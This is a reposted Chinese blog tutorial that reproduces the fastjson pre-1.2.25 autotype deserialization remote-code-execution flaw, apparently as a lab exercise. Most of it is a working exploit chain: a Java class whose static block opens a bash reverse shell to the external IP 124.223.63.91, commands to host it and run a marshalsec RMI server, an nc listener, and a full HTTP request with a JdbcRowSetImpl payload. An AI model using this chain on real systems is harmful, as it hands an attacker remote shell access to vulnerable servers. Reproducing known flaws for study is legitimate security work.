我是靠谱客的博主 花痴蓝天,最近开发中收集的这篇文章主要介绍fastjson(1.2.24-rce),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前言

作者简介:不知名白帽,网络安全学习者。

博客主页:https://blog.csdn.net/m0_63127854?type=blog

漏洞复现专栏:https://blog.csdn.net/m0_63127854/category_11843863.html

网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

目录

实验原理

影响版本

下载工具

cd marshalsec

mvn clean package -DskipTests

安装完切换到target目录下新建test.java

编译test.java(命令:javac test.java)

开启一个http服务,方便加载test.class

启动rmi服务监听9999端口

本地服务监听8002端口(8002为test.java中修改的端口)

构造请求包


实验原理

fastjson autotype在处理json对象的时候没有对@type字段进行安全性验证,导致攻击者传入危险类,并调用危险类连接远程主机,通过恶意类执行代码

影响版本

fastjson<1.2.25

下载工具

git clone https: //github.com/mbechler/marshalsec

cd marshalsec

mvn clean package -DskipTests

安装完切换到target目录下新建test.java

(命令:vim test.java-粘贴代码-更改反弹shell的地址和端口)

import java.lang.Runtime;

import java.lang.Process;



public class test {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/124.223.63.91/8002 0>&1"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

编译test.java(命令:javac test.java)

开启一个http服务,方便加载test.class

python2: python2 -m SimpleHTTPServer

python3: python3 -m http.server

访问124.223.63.91:8000

启动rmi服务监听9999端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://124.223.63.91:8000/#test" 9999

(8000为上一步开启http服务的端口)

本地服务监听8002端口(8002为test.java中修改的端口)

命令:nc -nvlp 8002

构造请求包

POST / HTTP/1.1

Host: 172.16.181.6:8090

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Content-Type:application/json;charset=UTF-8

Upgrade-Insecure-Requests: 1

Content-Length: 157



{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://124.223.63.91:9999/Test",

        "autoCommit":true

    }

}

查看端口

 

最后

以上就是花痴蓝天为你收集整理的fastjson(1.2.24-rce)的全部内容,希望文章能够帮你解决fastjson(1.2.24-rce)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(58)

评论列表共有 0 条评论

立即
投稿
返回
顶部